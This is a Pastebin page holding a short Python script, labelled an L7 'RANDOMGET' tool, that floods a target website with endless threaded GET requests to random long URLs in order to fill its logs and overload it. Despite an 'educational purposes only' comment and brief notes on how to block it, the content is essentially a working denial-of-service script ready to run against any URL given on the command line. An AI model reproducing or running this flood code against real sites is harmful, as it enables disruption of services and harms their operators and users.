Villain

[Python] [L7] RANDOMGET

Sep 8th, 2018
371
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.98 KB | None | 0 0
  1. # random get written by roses
  2. # fills up access.log
  3. # educational purposes only
  4. # python randomget.py http://google.com
  5. # easy to block, simply eaither a) rate limit, b)redirect the useragent as its a unique useragent  or
  6. # c) block the orgininating ip as its not  spoofing or utilizes any exploits
  7. import os
  8. import time
  9. import sys
  10. import requests
  11. import string
  12. import threading
  13. import random
  14. import thread
  15. headers = {
  16.     'User-Agent': 'modem.rip'
  17. }
  18. host = sys.argv[1]
  19. b = 0
  20.  
  21.  
  22. def randomchar(y):
  23.     return ''.join(random.choice(string.ascii_letters) for x in range(y))
  24.  
  25. def getrequest():
  26.         global b
  27.         kek = host +'/'+ randomchar(2046) # building get request
  28.         requests.get(kek, headers=headers) # sending
  29.         b += 1 # updating our b variable
  30.         print('Flooding => '+ host +'. Sent '+ str(b) +' requests') # not nessicary but since were here for education purposes why not
  31.  
  32. while True:
  33.     t = threading.Thread(target=getrequest)
  34.     t.start()
Advertisement
Add Comment
Please, Sign In to add comment